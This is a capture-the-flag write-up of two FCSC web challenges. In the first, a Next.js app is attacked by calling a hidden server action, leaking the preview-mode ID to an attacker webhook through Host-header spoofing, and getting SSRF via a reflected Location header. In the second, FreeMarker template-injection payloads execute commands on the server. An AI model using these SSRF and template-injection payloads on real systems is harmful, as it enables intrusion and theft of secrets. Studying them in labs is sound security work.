
Under Nextruction - Web (24 solves)
I started learning Next.js recently, and I’ve begun developing a small website. It’s still under development, so I’m not exposing sensitive features using key Next.js APIs. I should be safe, right?
- Attachment:
under-nextruction.tar.xz
- URL:
https://under-nextruction.fcsc.fr:2213/
Introduction
The challenge Under Nextruction has two services:
under-nextruction-app
: NextJS vulnerable application
under-nextruction-flag
: Flask application to retrieve the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
services:
under-nextruction-app:
build: ./src/nextjs
ports:
- "8000:8000"
environment:
- FLAG_STORE_KEY=FAKE_KEY
- JWT_SECRET=FAKE_SECRET
restart: unless-stopped
under-nextruction-flag:
build: ./src/flag-store
environment:
- FLAG_STORE_KEY=FAKE_KEY
- FLAG=FCSC{flag_placeholder}
restart: unless-stopped
|
To obtain the flag, a GET
request must be sent to http://under-nextruction-flag/get_flag
with the header X-Key
set to FLAG_STORE_KEY
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from flask import Flask, request, jsonify
from os import environ
app = Flask(__name__)
@app.get("/get_flag")
def get_flag():
if request.headers.get("X-Key") != environ.get("FLAG_STORE_KEY", "FAKE_KEY"):
return jsonify({ "error": "Invalid X-Key value provided!" }, 403)
return jsonify({ "flag": environ.get("FLAG") })
app.run("0.0.0.0", 5000)
|
The NextJS application is version 15.2.4
, so previous research on middleware bypass and SSRF was fixed.
The application includes four routes and one middleware for handling authentication.
File path (in src/nextjs/src/ ) |
Routes |
Method |
middleware.js |
Regex matching |
Middleware |
app/page.js |
/ |
Page |
app/login/page.js |
/login |
Page |
pages/api/user.js |
/api/user |
API endpoint |
pages/api/revalidate.js |
/api/revalidate |
API endpoint |
Next.js uses file-system based routing, meaning you can use folders and files to define routes. NextJS - Routing
Register an account
The first step was to register an account, as the user interface provided a login feature but no registration option.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
"use client";
import UnderConstruction from "@/components/UnderConstruction";
import { login, register } from "./actions";
import { useActionState } from "react";
const initialState = {
success: false,
error: null
};
export default function LoginPage({ isPreviewMode }) {
const [stateLogin, formLogin] = useActionState(login, initialState);
const [stateRegister, formRegister] = useActionState(register, initialState);
return (
<div>
<!--
Login JSX page with stateLogin and formLogin,
stateRegister and formRegister are NOT used.
-->
</div>
);
}
|
Source: src/nextjs/src/app/login/page.js
There is a login/page.js
file, but no register/page.js
file. However, the source code imports both the login
and register
actions, although only the login
action is used in the page’s HTML content.
The simplified HTTP request for the login action is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
POST /login HTTP/2
Host: under-nextruction.fcsc.fr:2213
User-Agent: Mozilla/5.0 ...
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Next-Action: 606a919935d7a58f741d3b37dfcdb8df0239d8be02
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Flogin%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Length: XXX
------geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Disposition: form-data; name="1_username"
foobar
------geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Disposition: form-data; name="1_password"
foobar
------geckoformboundarya75f86745d68b7d76baca49f2efa5c4--
|
By inspecting the JS files, such as /_next/static/chunks/app/login/page-a2ae2637ce4a9178.js
, the Next-Action
IDs for the login and register actions can be identified.
1
2
|
let n=(0,l.createServerReference)("606a919935d7a58f741d3b37dfcdb8df0239d8be02",l.callServer,void 0,l.findSourceMapURL,"login"),
a=(0,l.createServerReference)("60119a0e16f4930d77814c521045541c804c123986",l.callServer,void 0,l.findSourceMapURL,"register");
|
By replacing the Action ID from the login with the register action, an account can be successfully created!

Leak the FLAG_STORE_KEY
Once logged into an account, an “under construction” page with a “revalidate” button is encountered.

As a logged-in user, you have access to two API routes:
/api/user
/api/revalidate
To obtain the FLAG_STORE_KEY
, preview mode must be enabled.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
export default function handler(req, res) {
if (!req.preview) {
return res.status(403).json({
error: "Must be in preview mode.",
timestamp: new Date().toISOString(),
});
}
const username = req.headers["x-user"];
return res.status(200).json({
username: username || null,
timestamp: new Date().toISOString(),
flagStoreKey: process.env.FLAG_STORE_KEY || "FAKE_KEY"
});
}
|
Source: src/nextjs/src/pages/api/user.js
From the documentation, the names of the cookies responsible for holding the preview
mode are:
__prerender_bypass
: Contains a random ID.
__next_preview_data
: Holds cryptographically signed data.

From the source code below, to be in isPreviewMode
, previewData
must not be strictly false
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
let previewData: PreviewData
let isPreviewMode = false
if (hasServerProps || isSSG || isAppPath) {
// For the edge runtime, we don't support preview mode in SSG.
if (process.env.NEXT_RUNTIME !== 'edge') {
const { tryGetPreviewData } =
require('./api-utils/node/try-get-preview-data') as typeof import('./api-utils/node/try-get-preview-data')
previewData = tryGetPreviewData(
req,
res,
this.renderOpts.previewProps,
!!this.nextConfig.experimental.multiZoneDraftMode
)
isPreviewMode = previewData !== false
}
}
|
Source: Github - server/base-server.ts
The tryGetPreviewData
function uses the two cookies to retrieve information about the preview mode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
export function tryGetPreviewData(
req: IncomingMessage | BaseNextRequest | Request,
res: ServerResponse | BaseNextResponse,
options: __ApiPreviewProps,
multiZoneDraftMode: boolean
): PreviewData {
// [...]
const headers = HeadersAdapter.from(req.headers)
const cookies = new RequestCookies(headers)
const previewModeId = cookies.get(COOKIE_NAME_PRERENDER_BYPASS)?.value
const tokenPreviewData = cookies.get(COOKIE_NAME_PRERENDER_DATA)?.value
// Case: preview mode cookie set but data cookie is not set
if (
previewModeId &&
!tokenPreviewData &&
previewModeId === options.previewModeId
) {
// This is "Draft Mode" which doesn't use
// previewData, so we return an empty object
// for backwards compat with "Preview Mode".
const data = {}
Object.defineProperty(req, SYMBOL_PREVIEW_DATA, {
value: data,
enumerable: false,
})
return data
}
// [...]
}
|
Source: Github - server/api-utils/node/try-get-preview-data.ts
To be in preview mode, two conditions must be satisfied:
- The cookie
__prerender_bypass
must match options.previewModeId
.
- The cookie
__next_preview_data
must not be defined.
The options.previewModeId
is a cryptographically secure random hexadecimal value generated at build time. This ID is not present in the exposed JS files, so it needs to be leaked.
1
2
3
4
5
|
const previewProps: __ApiPreviewProps = {
previewModeId: crypto.randomBytes(16).toString('hex'),
previewModeSigningKey: crypto.randomBytes(32).toString('hex'),
previewModeEncryptionKey: crypto.randomBytes(32).toString('hex'),
}
|
Source: Github - build/index.ts
Before continuing the research, it is worth noting that nextConfig.experimental.trustHostsHeader
is set to true
. This will be useful later.
1
2
3
4
5
6
7
|
const nextConfig = {
experimental: {
trustHostHeader: true
}
};
export default nextConfig;
|
Source: src/nextjs/src/next.config.mjs
To leak the options.previewModeId
, we will exploit the res.revalidate("/")
function from the /api/revalidate
route.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
export default async function handler(req, res) {
try {
await res.revalidate("/");
return res.status(200).json({
revalidated: true,
timestamp: new Date().toISOString(),
message: "Cache revalidated successfully",
});
} catch (err) {
return res.status(500).json({
revalidated: false,
message: "Error revalidating cache",
error: err.message,
});
}
}
|
With VHOST spoofing, we can leak the previewModeId
by receiving a HEAD request to our webhook.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
async function revalidate(
urlPath: string,
opts: {
unstable_onlyGenerated?: boolean
},
req: IncomingMessage,
context: ApiContext
) {
// [...]
const revalidateHeaders: HeadersInit = {
[PRERENDER_REVALIDATE_HEADER]: context.previewModeId,
...(opts.unstable_onlyGenerated
? {
[PRERENDER_REVALIDATE_ONLY_GENERATED_HEADER]: '1',
}
: {}),
}
// [...]
try {
if (context.trustHostHeader) {
const res = await fetch(`https://${req.headers.host}${urlPath}`, {
method: 'HEAD',
headers: revalidateHeaders,
})
}
// [...]
} catch (err: unknown) {
throw new Error(
`Failed to revalidate ${urlPath}: ${isError(err) ? err.message : err}`
)
}
}
|
Source: Github - server/api-utils/node/api-resolver.ts

The server returned a 500 error, but the HEAD
request was successfully sent to our webhook:

We obtained the x-prerender-revalidate
value (representing the previewModeId
), which is 59c6709a1c2b39386a72b0026399960b
.
Now, we can send a request to the /api/user
route with the valid cookie to obtain the FLAG_STORE_KEY
.

The FLAG_STORE_KEY
is equals to 8fce97b0137965a3ddd635355eb3b1d249844c814c7981ade10dc201a329b457
.
SSRF to the Flask App
Now that we have the FLAG_STORE_KEY
, the final step is to send a request to GET http://under-nextruction-flag/get_flag
with the X-Key
header.
To do this, we need to find an SSRF vulnerability that operates over http
(the previous one was only https
). This vulnerability must allow us to control the host and path, add a custom header, and read the response. I spent a lot of time searching for calls to the fetch
function to find an SSRF that met all these criteria. However, the vulnerability was actually a code smell in the middleware:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import { NextResponse } from "next/server";
import { verify } from "./lib/jwt";
const baseUrl = process.env.PUBLIC_BASE_URL || 'http://localhost:3000';
export async function middleware(request) {
const parsedUrl = new URL(request.url);
const sessionValue = request.cookies.get("session")?.value;
const verifiedSession = await verify(sessionValue);
if ((!sessionValue || !verifiedSession) && parsedUrl.pathname !== "/login") {
return NextResponse.redirect(new URL(`${baseUrl}/login`, request.url));
}
if (parsedUrl.pathname.startsWith("/api/")) {
const requestHeaders = new Headers(request.headers);
requestHeaders.set("X-User", verifiedSession.username);
return NextResponse.next({ headers: requestHeaders });
}
return NextResponse.next();
}
export const config = {
matcher: [ "/", "/((?!_next|.*\\..*).+)" ],
};
|
Source: src/nextjs/src/middleware.js
The middleware appears secure at first glance, but the developer made a mistake:
1
2
3
|
return NextResponse.next({ headers: requestHeaders });
// instead of
return NextResponse.next({ request: { headers: requestHeaders} })
|
This flaw causes the application to reflect all the request headers in the response headers. Therefore, if a Location
header is set in the request, it will be reflected in the response.
1
2
3
4
5
6
7
8
9
10
11
|
export class NextResponse extends Response {
// [...]
static next(init) {
const headers = new Headers(init == null ? void 0 : init.headers);
headers.set('x-middleware-next', '1');
handleMiddlewareField(init, headers);
return new NextResponse(null, {
...init,
headers
});
}
|
By setting the Location
header, we can trick NextJS into thinking the middleware wants a redirection, even though the status code will be 200
instead of 3XX
. The redirect URL from Location
is set to parsedUrl
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
if (middlewareHeaders['location']) {
const value = middlewareHeaders['location'] as string
const rel = getRelativeURL(value, initUrl)
resHeaders['location'] = rel
parsedUrl = url.parse(rel, true)
return {
parsedUrl,
resHeaders,
finished: true,
statusCode: middlewareRes.status,
}
}
|
Source: Github - server/lib/router-utils/resolve-routes.ts
As the status code is 200
, the request will bypass the “handle redirect if block” and proceed to the proxyRequest
function. This function will fetch the parsedUrl
using the headers from the initial request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
// handle redirect
if (!bodyStream && statusCode && statusCode > 300 && statusCode < 400) {
const destination = url.format(parsedUrl)
res.setHeader('location', destination)
// [...]
}
// [...]
if (finished && parsedUrl.protocol) {
return await proxyRequest(
req,
res,
parsedUrl,
undefined,
getRequestMeta(req, 'clonableBody')?.cloneBodyStream(),
config.experimental.proxyTimeout
)
}
|
Source: Github - server/lib/router-server.ts
To obtain the flag, simply set the Location
header to http://under-nextruction-flag/get_flag
and include the X-Key
header with the value set to FLAG_STORE_KEY
.

Voilà!
Happy Face - Speedrun/Web (4 solves)
Let’s put a smile on your face.
- Attachment:
happy-face.tar.xz
- URL:
https://happy-face.fcsc.fr/
During the FCSC, there was a category called Speedrun
where participants had to solve various challenges (reverse, pwn, crypto, web, etc.) within 9 hours. The goal of this category was to measure the speed and versatility of each player.
Introduction
Happy Face was a web challenge, it had a single feature: transforming sad text 😢 into happy text 😊.

The source code was simple, there was a single page that accepted an optional parameter called text
.
If the text
parameter contained:
<
, >
, \
: The request was aborted.
emojis
and (
: These characters were replaced with other emojis or )
.
Afterward, the text
variable (our input) and the output
variable (filtered input) were rendered inside a Freemarker template. The template engine was up to date, version 2.3.34
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
package com.speedrun.demo
// [...]
@SpringBootApplication
@RestController
class DemoApplication {
@GetMapping("/")
@ResponseBody
fun index(@RequestParam(required = false,
defaultValue = "I'm [...]") text: String) : String {
val badChars = arrayOf("<", ">", "\\")
badChars.forEach { c ->
if (text.contains(c)){
return "Please no XSS"
}
}
val sadToHappy = mapOf(
"😢" to "😊",
"😞" to "😁",
"😔" to "😄",
"☹️" to "🙂",
"🙁" to "😃",
"😩" to "😆",
"😫" to "😅",
"😿" to "😸",
"😭" to "😂",
"😣" to "😌",
"😖" to "😋",
"😟" to "😉",
"😬" to "😎",
"😓" to "😇",
"😥" to "😍",
"(" to ")"
)
val output = sadToHappy.entries.fold(text) { acc, (sad, happy) ->
acc.replace(sad, happy)
}
val templateString = """
[...]
<body>
<h1>Happy Faces</h1>
<p>
Turn any text into a cheerful version with our advanced AI.
</p>
<pre>$output</pre>
<form>
<textarea name="text">$text</textarea>
<button type="submit">Convert</button>
</form>
</body>
""".trimIndent()
val template = Template("index", StringReader(templateString), Configuration.getDefaultConfiguration())
val writer = StringWriter()
template.process(null, writer)
return writer.toString()
}
companion object {
@JvmStatic
fun main(args: Array<String>) {
SpringApplication.run(DemoApplication::class.java, *args)
}
}
}
|
Source: com/speedrun/demo/DemoApplication.kt
When a simple payload is executed, it runs twice (text
and output
variables)!

When an RCE payload is attempted, an error occurs because the filtered input contains syntax errors and is executed before the valid input.
1
2
|
filtered: ${"freemarker.template.utility.Execute"?new)))"id")}
input: ${"freemarker.template.utility.Execute"?new()("id")}
|

My strategy was to find a way to prevent the page from crashing with the filtered
variable and achieve RCE with the second variable.
Attempt / Recover
To achieve this, I first searched for try/catch
features within the Freemarker template documentation. I found one called attempt, recover.
1
2
3
4
5
|
<#attempt>
attempt block
<#recover>
recover block
</#attempt>
|
However, the characters <>
are completely blocked, making it impossible to use for the challenge.
FTL directive
The ftl directive allows a user to switch the <tag>
syntax to [tag]
syntax (which is not filtered).
This directive also determines if the template uses angle bracket syntax (e.g. <#include ‘foo.ftl’>) or square bracket syntax (e.g. [#include ‘foo.ftl’]). Simply, the syntax used for this directive will be the syntax used for the whole template, regardless of the FreeMarker configuration settings.
However, the directive must be on the first line of the template, which cannot be controlled.
This directive, if present, must be the very first thing in the template.
Playing with quotes
I had an idea that made me think of a dangling markup payload. The goal was to place the non-valid code inside a string, preventing its execution. Then, the second payload would close the string to execute the code.

However, I encountered an <EOF>
error when trying to run this code.
1
2
|
freemarker.core.ParseException: Syntax error in template "index" in line 80, column 9:
Lexical error: encountered <EOF> after "\'} XXX</textarea>\n\t\t\t<button type=\"submit\">Convert</button>...".
|
I resolved this issue by simplifying the payload and using a raw
string.
To indicate that a string literal is a raw string literal, you have to put an r
directly before the opening quotation mark or apostrophe-quote. Freemarker - Expressions

To obtain the flag, simply execute the binary /app/get_flag
.
1
|
${r'} ${"freemarker.template.utility.Execute"?new()("/app/get_flag")}
|

BitK solves this challenge with a one-liner that evaluates if '(' == ')'
.
1
|
${'""+"freemarker.template.utility.Execute"?new()("/app/get_flag")'[0..["'('==')'"?eval?c?length-4][0]*61+1]?eval}
|